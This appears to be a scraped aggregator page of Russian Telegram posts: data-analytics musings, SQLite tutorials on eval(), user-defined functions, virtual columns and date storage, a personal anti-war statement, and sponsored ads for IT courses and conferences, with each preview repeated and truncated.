📆 Дата, которая всех бесит ⛔️В этот прекрасный субботний день хочется поговорить о сезонности. Из эконометрики я помню, что сезонность бывает аддитивная и мультипликативная. При этом также она может быть недельной, месячной или квартальной. А существует ли
📆 Дата, которая всех бесит ⛔️В этот прекрасный субботний день хочется поговорить о сезонности. Из эконометрики я помню, что сезонность бывает аддитивная и мультипликативная. При этом также она может быть недельной, месячной или квартальной. А существует ли 📆 Дата, которая всех бесит ⛔️В этот прекрасный субботний день хочется поговорить о сезонности. Из эконометрики я помню, что сезонность бывает аддитивная и мультипликативная. При этом также она может быть недельной, месячной или квартальной. А существует ли

📆 Дата, которая всех бесит ⛔️В этот прекрасный субботний день хочется поговорить о сезонности. Из эконометрики я помню, что сезонность бывает аддитивная и мультипликативная. При этом также она может быть недельной, месячной или квартальной. А существует ли сезонность событий, которые происходят раз в год? А если это не день рождения и не Новый Год? Да! Надеюсь, вы уже догадались к чему это я. Сегодня ровно такой день. Персонально считаю, что шутка, мягко говоря устарела, но вот же самый настоящий график такой однодневной сезонности. Как аналитику, мне стало интересно, почему эта песня стала настолько вирусной, что ежегодно многие телеграм-каналы и СМИ иронично его вспоминают. Все оказалось …

3 недели, 2 дня назад @ t.me
Книги, которые нас ждут, или "цундоку"Знакома ли вам ситуация, когда вы возвращаетесь из книжного магазина с парочкой новых книг (о существовании которых не знали еще пару часов назад), подходите к шкафу и видите десяток-другой непрочитанных изданий? Обычн
Книги, которые нас ждут, или "цундоку"Знакома ли вам ситуация, когда вы возвращаетесь из книжного магазина с парочкой новых книг (о существовании которых не знали еще пару часов назад), подходите к шкафу и видите десяток-другой непрочитанных изданий? Обычн Книги, которые нас ждут, или "цундоку"Знакома ли вам ситуация, когда вы возвращаетесь из книжного магазина с парочкой новых книг (о существовании которых не знали еще пару часов назад), подходите к шкафу и видите десяток-другой непрочитанных изданий? Обычн

Книги, которые нас ждут, или "цундоку"Знакома ли вам ситуация, когда вы возвращаетесь из книжного магазина с парочкой новых книг (о существовании которых не знали еще пару часов назад), подходите к шкафу и видите десяток-другой непрочитанных изданий? Обычно, эта ситуация немного расстраивает, ведь вы хотели сразу же прочесть их, когда покупали, но наша способность покупать книги сильно опережает способность их читать.📕 Антибиблиотека или цундоку?По словам статистика Нассима Николаса Талеба, непрочитанные книги в шкафах и на полках не являются признаком интеллектуальной неполноценности. Талеб назвал это "антибиблиотекой" и описал её суть бестселлере «The Black Swan: The Impact of the Highly …

3 недели, 4 дня назад @ t.me
SQLite на практике SQLite на практике
последний пост 6 дней, 21 час назад
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():&gt; select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы

Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы:select eval('create table tmp(value int)');select eval('insert into tmp(value) values (1), (2), (3)');select eval('select value from tmp');select eval('drop table tmp');Функция входит в расширение define.

6 дней, 21 час назад @ t.me
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр

Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно определить собственную функцию:select define('sumn', ':n * (:n + 1) / 2');А затем использовать, как будто встроенную:> select sumn(5);15Пользовательские функции могут принимать несколько параметров и вызывать другие функции.Сгенерировать случайное N, такое что a ≤ N ≤ b:> select define('randint', ':a + abs(random()) % (:b - :a + 1)');> select randint(10, 99);42Можно даже задать функцию, которая возвращает несколько значений!Подробности в доку…

2 недели, 4 дня назад @ t.me
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:

Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto: криптографические хеш-функции вроде SHA-1 и SHA-256.— fileio: работа с файловой системой — чтение и запись файлов, создание каталогов.— fuzzy: нечеткое сравнение строк, фонетические алгоритмы, транслитерация.— ipaddr: манипуляция IP-адресами и подсетями.— json1: работа с JSON.— math: математические функции.— re: регулярные выражения.— stats: статистика — медиана, процентили, стандартное отклонение.— text: работа со строками.— unicode: подд…

3 недели, 5 дней назад @ t.me
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для

Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для аналитики» для выпускников «окошек» и «на практике».Так что если вы:— успешно решили все задачки в «SQLite на практике» (скидка 500₽),— или получили сертификат с отличием в «Оконные функции SQL» (скидка 500₽),— и хотите пройти «SQLite для аналитики»,то присылайте ссылку на свой Степик-профиль мне @nalgeon, чтобы получить промо-код.

4 месяца, 1 неделя назад @ t.me
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v

Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v.employer_id join area as a on a.id = v.area_idТеперь хочется запускать запросы по сводным данным. Есть три способа это сделать:1) Common Table Expression (CTE)2) Представление (view)3) Временная таблица (temporary table)CTE я описывал в отдельной заметке, не буду повторяться. Важно, что CTE каждый раз вычисляется заново, так что если наш сводный select не особо быстрый — запросы по нему будут тормозить.Представление — это такой именованный…

4 месяца, 1 неделя назад @ t.me
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11,
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11,

JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11, "action": "login", "details": { "ip": "192.168.0.1" }}Или пополнение счета:{ "timestamp": "2022-05-15T09:32:00Z", "object": "account", "object_id": 12, "action": "deposit", "details": { "amount": "1000", "currency": "USD" }}Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON. Заводите таблицу events с единственным полем value:select value from events;{"timestamp":"2022-05-15T09:31:00Z",...{"timestamp":"2022-05-15T09:32…

4 месяца, 2 недели назад @ t.me
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:se
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:se

Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:select id, salary*0.87 as net_salaryfrom employees;А чтобы не таскать везде эти вычисления, удобно создать виртуальный столбец.В общем виде синтаксис такой:alter table ТАБЛИЦАadd column СТОЛБЕЦ ТИП as (ВЫРАЖЕНИЕ);Для зарплат будет так:alter table employeesadd column net_salary real as ( salary*0.87);После этого столбец можно использовать в запросах точно так же, как обычные столбцы:select id, net_salaryfrom employees;Виртуальные столбцы не хранятся в …

4 месяца, 3 недели назад @ t.me
Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J —
Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J —

Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и тогда многострочный запрос редактируется одним куском!

5 месяцев, 1 неделя назад @ t.me
История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в ка
История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в ка

История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в каталоге пользователя и называется .sqlite_history. Он текстовый, так что можно просматривать хоть в редакторе. Если хотите сохранить в другом месте — укажите полный путь в переменной окружения SQLITE_HISTORY.История записывается в файл при штатном выходе из консоли, так что если «моргнет» электричество или еще что — команды, выполненные с последнего запуска sqlite3, потеряются.Конечно, запись истории — не единственная фича консоли. Например…

5 месяцев, 1 неделя назад @ t.me
Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экс
Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экс

Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экспорт данных.— Типы данных в SQLite.— Работа с JSON.В планах и другие модули, посвященные специфике SQLite.Курс пока бесплатный, но это не навсегда.Записывайтесь, если хотите прокачать понимание SQLite и не боитесь командной строки:SQLite на практике

6 месяцев, 3 недели назад @ t.me
ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление
ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление

ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление против Украины и ее граждан. Это преступление против мира.Если вы против войны — не молчите, заявите об этом. Необязательно выходить на улицу под дубинки полицейских. Напишите вашему депутату. Если ведете соцсети — напишите там. Подпишите петицию.Сейчас кто молчит — одобряет. Не молчите.Позволит ли конкретно ваш одинокий голос остановить войну? Конечно, нет. Руководству страны плевать на любые петиции. Но он поможет другим увидеть, что они…

7 месяцев назад @ t.me
Как хранить дату в SQLiteВ SQLite нет отдельных типов для даты и времени. Поэтому у вас есть только два варианта, каждый со своими достоинствами и недостатками. Рассмотрим их вкратце.ISO 8601Международный стандарт, который записывает дату как 2022-01-27, а
Как хранить дату в SQLiteВ SQLite нет отдельных типов для даты и времени. Поэтому у вас есть только два варианта, каждый со своими достоинствами и недостатками. Рассмотрим их вкратце.ISO 8601Международный стандарт, который записывает дату как 2022-01-27, а

Как хранить дату в SQLiteВ SQLite нет отдельных типов для даты и времени. Поэтому у вас есть только два варианта, каждый со своими достоинствами и недостатками. Рассмотрим их вкратце.ISO 8601Международный стандарт, который записывает дату как 2022-01-27, а дату-время как 2022-01-27 19:30:15. Иногда добавляют еще миллисекунды: 2022-01-27 19:30:15.123.Стандарт включает кучу нюансов, но основные формы записи именно такие.Дата при этом хранится в SQLite как текст. Занимает 12 байт (без времени), 21 байт (до секунд) или 25 байт (с миллисекундами).➕ Человекочитаемая дата➕ Удобно сравнивать ('2021-12-30' < '2022-01-27')➖ Неудобно считать разницу между датами➖ Занимает много местаUnix TimeUnix Time…

8 месяцев назад @ t.me
Новости песочницыОбновил SQLite-песочницу! Самое главное — теперь можно сохранять сниппеты, не указывая API-ключ гитхаба. Жмакнули на «share» и готово. Так что песочницей смогут пользоваться люди, далекие от гитхаба 🎉Еще обновил SQLite до свежайшей версии
Новости песочницыОбновил SQLite-песочницу! Самое главное — теперь можно сохранять сниппеты, не указывая API-ключ гитхаба. Жмакнули на «share» и готово. Так что песочницей смогут пользоваться люди, далекие от гитхаба 🎉Еще обновил SQLite до свежайшей версии

Новости песочницыОбновил SQLite-песочницу! Самое главное — теперь можно сохранять сниппеты, не указывая API-ключ гитхаба. Жмакнули на «share» и готово. Так что песочницей смогут пользоваться люди, далекие от гитхаба 🎉Еще обновил SQLite до свежайшей версии 3.37.2. И включил пачку стандартных расширений вроде R*Tree. А в планах еще приделать все расширения из sqlean, вот тогда заживем вообще.https://sqlime.org/

8 месяцев, 2 недели назад @ t.me
Люди и кодНеожиданно для себя стал гостем подкаста. Мы с Тимуром Тукаевым хотели сделать статью, но в аудио-формате она получилась живее и интереснее.Послушайте, если вам интересно про sqlite, мои проекты или открытый код в целом.Конкретно sqlite обсуждаем
Люди и кодНеожиданно для себя стал гостем подкаста. Мы с Тимуром Тукаевым хотели сделать статью, но в аудио-формате она получилась живее и интереснее.Послушайте, если вам интересно про sqlite, мои проекты или открытый код в целом.Конкретно sqlite обсуждаем

Люди и кодНеожиданно для себя стал гостем подкаста. Мы с Тимуром Тукаевым хотели сделать статью, но в аудио-формате она получилась живее и интереснее.Послушайте, если вам интересно про sqlite, мои проекты или открытый код в целом.Конкретно sqlite обсуждаем с 12:15.https://we.fo/1604736632P.S. Поскольку к записи мы специально не готовились, звучу я как из ведра. Но если потерпеть минуту, вы привыкнете 😁

8 месяцев, 2 недели назад @ t.me
Гибкие типы данных в SQLiteЛюди часто не понимают, что за ерунда происходит в SQLite с типами данных. Давайте разберемся.SQLite использует пять типов данных:— INTEGER — целые числа,— REAL — действительные числа,— TEXT — строки,— BLOB — бинарные данные,— NU
Гибкие типы данных в SQLiteЛюди часто не понимают, что за ерунда происходит в SQLite с типами данных. Давайте разберемся.SQLite использует пять типов данных:— INTEGER — целые числа,— REAL — действительные числа,— TEXT — строки,— BLOB — бинарные данные,— NU

Гибкие типы данных в SQLiteЛюди часто не понимают, что за ерунда происходит в SQLite с типами данных. Давайте разберемся.SQLite использует пять типов данных:— INTEGER — целые числа,— REAL — действительные числа,— TEXT — строки,— BLOB — бинарные данные,— NULL — пустое значение.Пока ничего необычного (только типов маловато по сравнению с другими СУБД).А как вам такое:SQLite может хранить данные любого типа — вне зависимости от того, какой тип указан на столбце.Хотите записать число 3.14 в integer-поле? Пожалуйста (и никакого округления). Или, может быть, 'привет' в поле типа real? Без проблем.Дело в том, что SQLite хранит тип не только на столбце, но и на каждом значении в таблице. Именно поэ…

8 месяцев, 2 недели назад @ t.me
Datalytics Datalytics
последний пост 4 дня, 15 часов назад
💎 Хочу порекомендовать канал Айти психологВообще в канале бывает много полезного про менеджмент самого себя.Крис, тимлид команд аналитики с опытом 7 лет в айти, пишет о практической психологии без воды и эзотерики: 🔹как побороть синдром самозванца 🔹как спр
💎 Хочу порекомендовать канал Айти психологВообще в канале бывает много полезного про менеджмент самого себя.Крис, тимлид команд аналитики с опытом 7 лет в айти, пишет о практической психологии без воды и эзотерики: 🔹как побороть синдром самозванца 🔹как спр

💎 Хочу порекомендовать канал Айти психологВообще в канале бывает много полезного про менеджмент самого себя.Крис, тимлид команд аналитики с опытом 7 лет в айти, пишет о практической психологии без воды и эзотерики: 🔹как побороть синдром самозванца 🔹как справляться с тревогой 🔹как наладить отношения с заказчиками🔹как преуспеть на перформанс ревью Подписывайтесь и больше не выгорайте 🌚

4 дня, 15 часов назад @ t.me
Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед
Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед

Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-победитель получит 300 тысяч рублей, а серебряный призер — 200 тысяч рублей. Подать заявку до 4 октябряДаты проведения: 15-16 октябряМесто проведения: Grand Ballroom Организатор: Комитет по туризму города Москвы в рамках проекта Moscow Travel Hub

1 неделя, 5 дней назад @ t.me
⚡️ Для архитекторов, разработчиков, DevOps-инженеров или сетевых и сисадминов, тимлидов или специалистов ИБ OTUS открывает набор на онлайн-курс «Cloud Solution Architecture»Ответьте на 25 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Clo
⚡️ Для архитекторов, разработчиков, DevOps-инженеров или сетевых и сисадминов, тимлидов или специалистов ИБ OTUS открывает набор на онлайн-курс «Cloud Solution Architecture»Ответьте на 25 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Clo

⚡️ Для архитекторов, разработчиков, DevOps-инженеров или сетевых и сисадминов, тимлидов или специалистов ИБ OTUS открывает набор на онлайн-курс «Cloud Solution Architecture»Ответьте на 25 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Cloud Solution Architecture» 📌 В результате обучения вы освоите необходимые компетенции для разработки и поддержки архитектуры облачных приложений💻 Открытый урок — Функции как сервис на примере Yandex Cloud, 19 сентября в 20:00https://otus.pw/gM7C/Время прохождения теста ограниченно 45 минутПРОМОКОД НА СКИДКУ 20% — solution-architect-09👉 ПРОЙДИТЕ ТЕСТ для оценки вашего уровня знаний и получите скидку https://otus.pw/ZTQC/

1 неделя, 6 дней назад @ t.me
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл

Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекламы в новых условиях;- что предлагает Apple для закупки Web2App и как этим пользоваться.Вебинар состоится 15 сентября в 15:00 МСК. Регистрируйтесь бесплатно по ссылке 👉 https://vk.cc/cgqMSY

2 недели назад @ t.me
Приглашаем на Yandex Scale 2022 — регистрация открыта!Каждый год наша команда Yandex Cloud проводит большую конференцию, чтобы рассказать новости нашей облачной платформы.В этом году Yandex Scale пройдёт 23 сентября, и вас снова ждёт насыщенная программа —
Приглашаем на Yandex Scale 2022 — регистрация открыта!Каждый год наша команда Yandex Cloud проводит большую конференцию, чтобы рассказать новости нашей облачной платформы.В этом году Yandex Scale пройдёт 23 сентября, и вас снова ждёт насыщенная программа — Приглашаем на Yandex Scale 2022 — регистрация открыта!Каждый год наша команда Yandex Cloud проводит большую конференцию, чтобы рассказать новости нашей облачной платформы.В этом году Yandex Scale пройдёт 23 сентября, и вас снова ждёт насыщенная программа —

Приглашаем на Yandex Scale 2022 — регистрация открыта!Каждый год наша команда Yandex Cloud проводит большую конференцию, чтобы рассказать новости нашей облачной платформы.В этом году Yandex Scale пройдёт 23 сентября, и вас снова ждёт насыщенная программа — 30 докладов, более 40 спикеров.Топ 6 выступлений в этом году:— Yandex Cloud Backup: сохранить всё!— Yandex Tracker: большое обновление интерфейса и новые возможности.— Serverless, который работает.— Миграция в Yandex DataLens: опыт Яндекс Go и Яндекс Маркет.— Yandex DataSphere: новый UI и возможности командной ML-разработки.— Опыт масштабирования облачной инфраструктуры с учётом задач безопасности.Регистрируйтесь на Yandex Scale 2022 по с…

2 недели, 4 дня назад @ t.me
Новая конференция про системный и бизнес-анализ — Flow!В ноябре JUG Ru Group организует конференцию для аналитиков — Flow 2022. В программе — технические доклады и дискуссии об архитектуре, требованиях, стандартах, документации и архитектуре данных.У вас б
Новая конференция про системный и бизнес-анализ — Flow!В ноябре JUG Ru Group организует конференцию для аналитиков — Flow 2022. В программе — технические доклады и дискуссии об архитектуре, требованиях, стандартах, документации и архитектуре данных.У вас б Новая конференция про системный и бизнес-анализ — Flow!В ноябре JUG Ru Group организует конференцию для аналитиков — Flow 2022. В программе — технические доклады и дискуссии об архитектуре, требованиях, стандартах, документации и архитектуре данных.У вас б

Новая конференция про системный и бизнес-анализ — Flow!В ноябре JUG Ru Group организует конференцию для аналитиков — Flow 2022. В программе — технические доклады и дискуссии об архитектуре, требованиях, стандартах, документации и архитектуре данных.У вас большой опыт в аналитике или есть интересные кейсы? Тогда подавайте заявку на выступление. Программный комитет поможет с подготовкой: назначит персонального куратора, проведет ревью материала и организует репетиции.Выбирайте тему выступления на сайте или предлагайте свои идеи — их обязательно рассмотрят: https://bit.ly/3BeJpRQВсем спикерам JUG Ru Group дарит билет на все конференции сезона в онлайне и офлайне 🎁А билеты можно купить здесь: h…

2 недели, 5 дней назад @ t.me
Это — самый короткий путь к работе в SberDevices!4 сентября участвуй в One Day Offer: пройди fast-интервью за 1 день и получи оффер мечты!Кто мы? Создаём умные устройства, виртуальных ассистентов и другие продукты в области Speech Recognition, NLP, PLP Sma
Это — самый короткий путь к работе в SberDevices!4 сентября участвуй в One Day Offer: пройди fast-интервью за 1 день и получи оффер мечты!Кто мы? Создаём умные устройства, виртуальных ассистентов и другие продукты в области Speech Recognition, NLP, PLP Sma Это — самый короткий путь к работе в SberDevices!4 сентября участвуй в One Day Offer: пройди fast-интервью за 1 день и получи оффер мечты!Кто мы? Создаём умные устройства, виртуальных ассистентов и другие продукты в области Speech Recognition, NLP, PLP Sma

Это — самый короткий путь к работе в SberDevices!4 сентября участвуй в One Day Offer: пройди fast-интервью за 1 день и получи оффер мечты!Кто мы? Создаём умные устройства, виртуальных ассистентов и другие продукты в области Speech Recognition, NLP, PLP SmartSearch. У нас очень сильная, а главное, драйвовая команда, в которой ты точно найдёшь проекты по душе!Кого мы ищем? Специалистов в сферах Data Science, Machine Learning, data-аналитиков, data-инженеров. Опыт работы в DS/ML от 2 лет.Что такое One Day Offer? Это возможность за 1 день заявить о себе, пройти все этапы отбора и получить предложение присоединиться к команде.Узнай больше и оставь заявку здесь: http://sber.me/?p=LXTFN

3 недели, 6 дней назад @ t.me
Обучится веб-аналитике и повысить эффективность бизнесаВеб-аналитика позволяет выявлять наиболее эффективные каналы и механики продвижения, проводить анализ для успешного развития продукта, находить точки роста и оптимизировать продукт на основе данных.На
Обучится веб-аналитике и повысить эффективность бизнесаВеб-аналитика позволяет выявлять наиболее эффективные каналы и механики продвижения, проводить анализ для успешного развития продукта, находить точки роста и оптимизировать продукт на основе данных.На Обучится веб-аналитике и повысить эффективность бизнесаВеб-аналитика позволяет выявлять наиболее эффективные каналы и механики продвижения, проводить анализ для успешного развития продукта, находить точки роста и оптимизировать продукт на основе данных.На

Обучится веб-аналитике и повысить эффективность бизнесаВеб-аналитика позволяет выявлять наиболее эффективные каналы и механики продвижения, проводить анализ для успешного развития продукта, находить точки роста и оптимизировать продукт на основе данных.На курсе “Веб-аналитика” от Moscow Digital School вы освоите сквозную аналитику, работу с разметкой и оценкой трафика без привлечения разработчиков. Научитесь визуализировать данные, проводить A/B тестирования и многое другое. За несколько месяцев вы получите полный набор скиллов веб-аналитика. Научитесь повышать конверсию сайта, улучшите эффективность рекламных каналов и выведите бизнес на новый уровень прибыли. Для подписчиков канала действ…

1 месяц назад @ t.me
Когда ты взрослый, можно ложиться спать когда угодно и покупать себе любые вещи. А ещё не нужно ждать 1 сентября, чтобы получать знания. Осваивайте новые специальности и прокачивайте навыки — в любой момент на курсах Яндекс Практикума. Разработчикам и анал
Когда ты взрослый, можно ложиться спать когда угодно и покупать себе любые вещи. А ещё не нужно ждать 1 сентября, чтобы получать знания. Осваивайте новые специальности и прокачивайте навыки — в любой момент на курсах Яндекс Практикума. Разработчикам и анал Когда ты взрослый, можно ложиться спать когда угодно и покупать себе любые вещи. А ещё не нужно ждать 1 сентября, чтобы получать знания. Осваивайте новые специальности и прокачивайте навыки — в любой момент на курсах Яндекс Практикума. Разработчикам и анал

Когда ты взрослый, можно ложиться спать когда угодно и покупать себе любые вещи. А ещё не нужно ждать 1 сентября, чтобы получать знания. Осваивайте новые специальности и прокачивайте навыки — в любой момент на курсах Яндекс Практикума. Разработчикам и аналитикам рекомендуем курс «Инженер данных». На нём вы узнаете, как: → использовать инструменты: оркестраторы, контейнеры и не только→ работать с поточной обработкой данных и облачными хранилищами→ создавать хранилища Data Warehouse и Data Lake.Обучение строится на реальных рабочих задачах и командных проектах. При выполнении заданий вы сможете советоваться с наставниками и другими студентами. Ваши работы проверят опытные инженеры данных и да…

1 месяц, 1 неделя назад @ t.me
Слышали про новый гайд от MyTracker для прогноза LTV приложений? Рассказываю 😉 Команда предиктивной аналитики MyTracker описали, какими моделями пользоваться и как, чтобы самостоятельно построить прогноз LTV мобильного приложения. Чему можно научиться посл
Слышали про новый гайд от MyTracker для прогноза LTV приложений? Рассказываю 😉 Команда предиктивной аналитики MyTracker описали, какими моделями пользоваться и как, чтобы самостоятельно построить прогноз LTV мобильного приложения. Чему можно научиться посл

Слышали про новый гайд от MyTracker для прогноза LTV приложений? Рассказываю 😉 Команда предиктивной аналитики MyTracker описали, какими моделями пользоваться и как, чтобы самостоятельно построить прогноз LTV мобильного приложения. Чему можно научиться после практики по гайду:1️⃣ Работать с сырыми данными, предобратывать их (это изи)2️⃣ Представлять в виде пригодных данных для анализа (посложнее, но задачка уровня джун+)3️⃣ Подбирать модели и корректно оценивать их по метрикам (а вот и хардкор)Из моделей разбираются:- модель на основе catboost- модель на основе линейной регрессии- коэффициентная модель- модель на основе экстраполяции логарифмомДля кого полезно? Маркетинг менеджеры, продакты,…

1 месяц, 1 неделя назад @ t.me
Новые быстрые IT-курсы от ПрактикумаОсвоить новую профессию теперь можно на буткемпах — новых программах длительностью от 2 до 5 месяцев. Курсы подойдут тем, у кого нет опыта в программировании или анализе данных, но есть желание и время, чтобы интенсивно
